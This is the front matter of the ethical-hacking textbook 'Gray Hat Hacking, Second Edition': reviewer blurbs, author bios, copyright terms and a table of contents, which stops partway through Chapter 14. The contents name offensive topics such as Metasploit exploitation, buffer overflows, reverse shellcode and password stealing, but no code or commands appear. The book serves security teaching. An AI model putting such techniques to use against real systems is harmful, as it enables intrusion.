Gray Hat Hacking And Guide To
Gray%20Hat%20Hacking%20and%20%20Guide%20to%20Hacking
User Manual:
Open the PDF directly: View PDF 
.
Page Count: 577
Praise for Gray Hat Hacking: The Ethical Hacker’s Handbook, Second Edition
“Gray Hat Hacking, Second Edition takes a very practical and applied approach to learning
how to attack computer systems. The authors are past Black Hat speakers, trainers, and
DEF CON CtF winners who know what they are talking about.”
—Jeff Moss
Founder and Director of Black Hat
“The second edition of Gray Hat Hacking moves well beyond current ‘intro to hacking’
books and presents a well thought-out technical analysis of ethical hacking. Although
the book is written so that even the uninitiated can follow it well, it really succeeds by
treating every topic in depth; offering insights and several realistic examples to reinforce
each concept. The tools and vulnerability classes discussed are very current and can be
used to template assessments of operational networks.”
—Ronald C. Dodge Jr., Ph.D.
Associate Dean, Information and Education Technology, United States Military Academy
“An excellent introduction to the world of vulnerability discovery and exploits. The
tools and techniques covered provide a solid foundation for aspiring information security researchers, and the coverage of popular tools such as the Metasploit Framework
gives readers the information they need to effectively use these free tools.”
—Tony Bradley
CISSP, Microsoft MVP, About.com Guide for Internet/Network Security,
http://netsecurity.about.com
“Gray Hat Hacking, Second Edition provides broad coverage of what attacking systems is
all about. Written by experts who have made a complicated problem understandable by
even the novice, Gray Hat Hacking, Second Edition is a fantastic book for anyone looking
to learn the tools and techniques needed to break in and stay in.”
—Bruce Potter
Founder, The Shmoo Group
“As a security professional and lecturer, I get asked a lot about where to start in the security business, and I point them to Gray Hat Hacking. Even for seasoned professionals
who are well versed in one area, such as pen testing, but who are interested in another,
like reverse engineering, I still point them to this book. The fact that a second edition is
coming out is even better, as it is still very up to date. Very highly recommended.”
—Simple Nomad
Hacker
ABOUT THE AUTHORS
Shon Harris, MCSE, CISSP, is the president of Logical Security, an educator and security
consultant. She is a former engineer of the U.S. Air Force Information Warfare unit and
has published several books and articles on different disciplines within information
security. Shon was also recognized as one of the top 25 women in information security
by Information Security Magazine.
Allen Harper, CISSP, is the president and owner of n2netSecurity, Inc. in North
Carolina. He retired from the Marine Corps after 20 years. Additionally, he has served as
a security analyst for the U.S. Department of the Treasury, Internal Revenue Service,
Computer Security Incident Response Center (IRS CSIRC). He speaks and teaches at
conferences such as Black Hat.
Chris Eagle is the associate chairman of the Computer Science Department at the Naval
Postgraduate School (NPS) in Monterey, California. A computer engineer/scientist for
22 years, his research interests include computer network attack and defense, computer
forensics, and reverse/anti-reverse engineering. He can often be found teaching at Black
Hat or playing capture the flag at Defcon.
Jonathan Ness, CHFI, is a lead software security engineer at Microsoft. He and his
coworkers ensure that Microsoft’s security updates comprehensively address reported
vulnerabilities. He also leads the technical response of Microsoft’s incident response
process that is engaged to address publicly disclosed vulnerabilities and exploits targeting Microsoft software. He serves one weekend each month as a security engineer in a
reserve military unit.
Disclaimer: The views expressed in this book are those of the author and not of the U.S. government or the Microsoft Corporation.
About the Technical Editor
Michael Baucom is a software engineer working primarily in the embedded software
area. The majority of the last ten years he has been writing system software and tools for
networking equipment; however, his recent interests are with information security and
more specifically securing software. He co-taught Exploiting 101 at Black Hat in 2006.
For fun, he has enjoyed participating in capture the flag at Defcon for the last two years.
Gray Hat
Hacking
The Ethical Hacker’s
Handbook
Second Edition
Shon Harris, Allen Harper, Chris Eagle,
and Jonathan Ness
New York • Chicago • San Francisco • Lisbon
London • Madrid • Mexico City • Milan • New Delhi
San Juan • Seoul • Singapore • Sydney • Toronto
Copyright © 2008 by The McGraw-Hill Companies. All rights reserved.Manufactured in the United States of America. Except as
permitted under the United States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form
or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher.
0-07-159553-8
The material in this eBook also appears in the print version of this title: 0-07-149568-1.
All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a
trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of
infringement of the trademark. Where such designations appear in this book, they have been printed with initial caps.
McGraw-Hill eBooks are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate
training programs. For more information, please contact George Hoare, Special Sales, at george_hoare@mcgraw-hill.com or (212)
904-4069.
TERMS OF USE
This is a copyrighted work and The McGraw-Hill Companies, Inc. (“McGraw-Hill”) and its licensors reserve all rights in and to
the work. Use of this work is subject to these terms. Except as permitted under the Copyright Act of 1976 and the right to store
and retrieve one copy of the work, you may not decompile, disassemble, reverse engineer, reproduce, modify, create derivative
works based upon, transmit, distribute, disseminate, sell, publish or sublicense the work or any part of it without McGraw-Hill’s
prior consent. You may use the work for your own noncommercial and personal use; any other use of the work is strictly
prohibited. Your right to use the work may be terminated if you fail to comply with these terms.
THE WORK IS PROVIDED “AS IS.” McGRAW-HILL AND ITS LICENSORS MAKE NO GUARANTEES OR
WARRANTIES AS TO THE ACCURACY, ADEQUACY OR COMPLETENESS OF OR RESULTS TO BE OBTAINED
FROM USING THE WORK, INCLUDING ANY INFORMATION THAT CAN BE ACCESSED THROUGH THE WORK VIA
HYPERLINK OR OTHERWISE, AND EXPRESSLY DISCLAIM ANY WARRANTY, EXPRESS OR IMPLIED, INCLUDING
BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR
PURPOSE. McGraw-Hill and its licensors do not warrant or guarantee that the functions contained in the work will meet your
requirements or that its operation will be uninterrupted or error free. Neither McGraw-Hill nor its licensors shall be liable to you
or anyone else for any inaccuracy, error or omission, regardless of cause, in the work or for any damages resulting therefrom.
McGraw-Hill has no responsibility for the content of any information accessed through the work. Under no circumstances shall
McGraw-Hill and/or its licensors be liable for any indirect, incidental, special, punitive, consequential or similar damages that
result from the use of or inability to use the work, even if any of them has been advised of the possibility of such damages. This
limitation of liability shall apply to any claim or cause whatsoever whether such claim or cause arises in contract, tort or
otherwise.
DOI: 10.1036/0071495681
Professional
Want to learn more?
We hope you enjoy this
McGraw-Hill eBook! If
you’d like more information about this book,
its author, or related books and websites,
please click here.
To my loving and supporting husband, David Harris,
who has continual patience with me as I take
on all of these crazy projects! —Shon Harris
To the service members forward deployed around the world.
Thank you for your sacrifice. —Allen Harper
To my wife, Kristen, for all of the support she has given me
through this and my many other endeavors! —Chris Eagle
To Jessica, the most amazing and beautiful person
I know. —Jonathan Ness
This page intentionally left blank
CONTENTS AT A GLANCE
Part I Introduction to Ethical Disclosure . . . . . . . . . . . . . . . . . . . . .
1
Chapter 1 Ethics of Ethical Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3
Chapter 2 Ethical Hacking and the Legal System . . . . . . . . . . . . . . . . . . . . . . . .
17
Chapter 3 Proper and Ethical Disclosure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
41
Part II Penetration Testing and Tools . . . . . . . . . . . . . . . . . . . . . . . . .
73
Chapter 4 Using Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
75
Chapter 5 Using the BackTrack LiveCD Linux Distribution . . . . . . . . . . . . . . .
101
Part III Exploits 101 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
Chapter 6 Programming Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
121
Chapter 7 Basic Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
147
Chapter 8 Advanced Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
169
Chapter 9 Shellcode Strategies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
195
Chapter 10 Writing Linux Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
211
Chapter 11 Basic Windows Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
243
Part IV Vulnerability Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
Chapter 12 Passive Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
277
Chapter 13 Advanced Static Analysis with IDA Pro
......................
309
Chapter 14 Advanced Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
335
Chapter 15 Client-Side Browser Exploits
..............................
359
Chapter 16 Exploiting Windows Access Control Model for
Local Elevation of Privilege . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
387
Chapter 17 Intelligent Fuzzing with Sulley . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
441
Chapter 18 From Vulnerability to Exploit
..............................
459
Chapter 19 Closing the Holes: Mitigation
..............................
481
vii
Gray Hat Hacking: The Ethical Hacker’s Handbook
viii
Part V Malware Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 497
Chapter 20 Collecting Malware and Initial Analysis . . . . . . . . . . . . . . . . . . . . . . .
499
Chapter 21 Hacking Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
521
Index
.................................................
537
For more information about this title, click here
CONTENTS
Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
xix
xxi
xxiii
Part I Introduction to Ethical Disclosure . . . . . . . . . . . . . . . . . . . .
1
Chapter 1 Ethics of Ethical Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3
How Does This Stuff Relate to an Ethical Hacking Book? . . . . . . . . . . . .
The Controversy of Hacking Books and Classes . . . . . . . . . . . . . . .
The Dual Nature of Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Recognizing Trouble When It Happens . . . . . . . . . . . . . . . . . . . . . .
Emulating the Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Security Does Not Like Complexity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
11
12
13
14
15
Chapter 2 Ethical Hacking and the Legal System . . . . . . . . . . . . . . . . . . . . . . . . .
17
Addressing Individual Laws . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 USC Section 1029: The Access Device Statute . . . . . . . . . . . . . .
18 USC Section 1030 of The Computer Fraud
and Abuse Act . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
State Law Alternatives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 USC Sections 2510, et. Seq. and 2701 . . . . . . . . . . . . . . . . . . . . .
Digital Millennium Copyright Act (DMCA) . . . . . . . . . . . . . . . . . .
Cyber Security Enhancement Act of 2002 . . . . . . . . . . . . . . . . . . . .
19
19
23
30
32
36
39
Chapter 3 Proper and Ethical Disclosure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
41
You Were Vulnerable for How Long? . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Different Teams and Points of View . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
How Did We Get Here? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
CERT’s Current Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Full Disclosure Policy (RainForest Puppy Policy) . . . . . . . . . . . . . . . . . . .
Organization for Internet Safety (OIS) . . . . . . . . . . . . . . . . . . . . . . . . . . .
Discovery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Notification . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Resolution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Release . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Conflicts Will Still Exist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
45
47
49
50
52
54
55
55
57
60
62
62
ix
Gray Hat Hacking: The Ethical Hacker’s Handbook
x
Case Studies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Pros and Cons of Proper Disclosure Processes . . . . . . . . . . . . . . . .
iDefense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Zero Day Initiative . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Vendors Paying More Attention . . . . . . . . . . . . . . . . . . . . . . . . . . . .
So What Should We Do from Here on Out? . . . . . . . . . . . . . . . . . . . . . . .
62
63
67
68
69
70
Part II Penetration Testing and Tools . . . . . . . . . . . . . . . . . . . . . . . .
73
Chapter 4 Using Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
75
Metasploit: The Big Picture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using the Metasploit Console to Launch Exploits . . . . . . . . . . . . .
Exploiting Client-Side Vulnerabilities with Metasploit . . . . . . . . . . . . . .
Using the Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using Metasploit as a Man-in-the-Middle Password Stealer . . . . . . . . . .
Weakness in the NTLM Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . .
Configuring Metasploit as a Malicious SMB Server . . . . . . . . . . . .
Brute-Force Password Retrieval with
the LM Hashes + Challenge . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Building Your Own Rainbow Tables . . . . . . . . . . . . . . . . . . . . . . . .
Downloading Rainbow Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Purchasing Rainbow Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cracking Hashes with Rainbow Tables . . . . . . . . . . . . . . . . . . . . . .
Using Metasploit to Auto-Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Inside Metasploit Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
75
75
76
83
87
91
92
92
Chapter 5 Using the BackTrack LiveCD Linux Distribution
94
96
97
97
97
98
98
................
101
BackTrack: The Big Picture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Creating the BackTrack CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Booting BackTrack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Exploring the BackTrack X-Windows Environment . . . . . . . . . . . . . . . . .
Writing BackTrack to Your USB Memory Stick . . . . . . . . . . . . . . . . . . . . .
Saving Your BackTrack Configurations . . . . . . . . . . . . . . . . . . . . . . . . . . .
Creating a Directory-Based
or File-Based Module with dir2lzm . . . . . . . . . . . . . . . . . . . . . . . . . . .
Creating a Module from a SLAX Prebuilt Module
with mo2lzm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Creating a Module from an Entire Session
of Changes Using dir2lzm . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Automating the Change Preservation from One Session
to the Next . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
101
102
103
104
105
105
106
106
108
109
Contents
xi
Creating a New Base Module with
All the Desired Directory Contents . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cheat Codes and Selectively Loading Modules . . . . . . . . . . . . . . . . . . . . .
Metasploit db_autopwn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
110
112
114
118
Part III Exploits 101 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
119
Chapter 6 Programming Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
121
C Programming Language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Basic C Language Constructs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Sample Program . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Compiling with gcc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Computer Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Random Access Memory (RAM) . . . . . . . . . . . . . . . . . . . . . . . . . . .
Endian . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Segmentation of Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Programs in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Buffers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Strings in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Pointers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Putting the Pieces of Memory Together . . . . . . . . . . . . . . . . . . . . . .
Intel Processors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Assembly Language Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Machine vs. Assembly vs. C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
AT&T vs. NASM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Addressing Modes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Assembly File Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Assembling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Debugging with gdb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
gdb Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Disassembly with gdb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Hello World in Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Numbers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Dictionaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Files with Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Sockets with Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
121
122
126
127
128
128
128
129
129
130
130
130
131
132
132
133
133
133
135
136
137
137
137
139
139
140
140
140
141
142
143
144
144
146
Gray Hat Hacking: The Ethical Hacker’s Handbook
xii
Chapter 7 Basic Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
147
Stack Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Function Calling Procedure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Buffer Overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Overflow of meet.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Ramifications of Buffer Overflows . . . . . . . . . . . . . . . . . . . . . . . . . .
Local Buffer Overflow Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Components of the Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Exploiting Stack Overflows by Command Line . . . . . . . . . . . . . . .
Exploiting Stack Overflows with Generic Exploit Code . . . . . . . . .
Exploiting Small Buffers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Exploit Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Real-World Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Determine the Offset(s) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Determine the Attack Vector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Build the Exploit Sandwich . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Test the Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
148
148
149
150
153
154
155
157
158
160
162
163
163
166
167
168
Chapter 8 Advanced Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
169
Format String Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
The Problem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Reading from Arbitrary Memory . . . . . . . . . . . . . . . . . . . . . . . . . . .
Writing to Arbitrary Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Taking .dtors to root . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Heap Overflow Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Example Heap Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Implications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Memory Protection Schemes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Compiler Improvements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Kernel Patches and Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Return to libc Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Bottom Line . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
169
170
173
175
177
180
181
182
182
183
183
185
192
Chapter 9 Shellcode Strategies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
195
User Space Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
System Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Basic Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Port Binding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Reverse Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Find Socket Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Command Execution Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
File Transfer Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Multistage Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
System Call Proxy Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Process Injection Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
196
196
197
197
199
200
201
202
202
202
203
Contents
xiii
Other Shellcode Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Shellcode Encoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Self-Corrupting Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Disassembling Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Kernel Space Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Kernel Space Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
204
204
205
206
208
208
Chapter 10 Writing Linux Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
211
Basic Linux Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
System Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Exit System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
setreuid System Call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Shell-Spawning Shellcode with execve . . . . . . . . . . . . . . . . . . . . . .
Implementing Port-Binding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . .
Linux Socket Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Assembly Program to Establish a Socket . . . . . . . . . . . . . . . . . . . . .
Test the Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Implementing Reverse Connecting Shellcode . . . . . . . . . . . . . . . . . . . . . .
Reverse Connecting C Program . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Reverse Connecting Assembly Program . . . . . . . . . . . . . . . . . . . . .
Encoding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Simple XOR Encoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Structure of Encoded Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . .
JMP/CALL XOR Decoder Example . . . . . . . . . . . . . . . . . . . . . . . . . .
FNSTENV XOR Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Putting It All Together . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Automating Shellcode Generation with Metasploit . . . . . . . . . . . . . . . . .
Generating Shellcode with Metasploit . . . . . . . . . . . . . . . . . . . . . .
Encoding Shellcode with Metasploit . . . . . . . . . . . . . . . . . . . . . . . .
211
212
214
216
217
220
220
223
226
228
228
230
232
232
232
233
234
236
238
238
240
Chapter 11 Basic Windows Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
243
Compiling and Debugging Windows Programs . . . . . . . . . . . . . . . . . . . .
Compiling on Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Debugging on Windows with Windows Console Debuggers . . . .
Debugging on Windows with OllyDbg . . . . . . . . . . . . . . . . . . . . . .
Windows Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Building a Basic Windows Exploit . . . . . . . . . . . . . . . . . . . . . . . . . .
Real-World Windows Exploit Example . . . . . . . . . . . . . . . . . . . . . .
243
243
245
254
258
258
266
Part IV Vulnerability Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
275
Chapter 12 Passive Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
277
Ethical Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Why Reverse Engineering? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Reverse Engineering Considerations . . . . . . . . . . . . . . . . . . . . . . . .
277
278
279
Gray Hat Hacking: The Ethical Hacker’s Handbook
xiv
Source Code Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Source Code Auditing Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
The Utility of Source Code Auditing Tools . . . . . . . . . . . . . . . . . . .
Manual Source Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Binary Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Manual Auditing of Binary Code . . . . . . . . . . . . . . . . . . . . . . . . . . .
Automated Binary Analysis Tools . . . . . . . . . . . . . . . . . . . . . . . . . .
279
280
282
283
289
289
304
Chapter 13 Advanced Static Analysis with IDA Pro . . . . . . . . . . . . . . . . . . . . . . . .
309
Static Analysis Challenges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Stripped Binaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Statically Linked Programs and FLAIR . . . . . . . . . . . . . . . . . . . . . . .
Data Structure Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Quirks of Compiled C++ Code . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Extending IDA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Scripting with IDC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IDA Pro Plug-In Modules and the IDA SDK . . . . . . . . . . . . . . . . . .
IDA Pro Loaders and Processor Modules . . . . . . . . . . . . . . . . . . . .
309
310
312
318
323
325
326
329
332
Chapter 14 Advanced Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
335
Why Try to Break Software? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
The Software Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Instrumentation Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Debuggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Code Coverage Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Profiling Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Flow Analysis Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Memory Monitoring Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
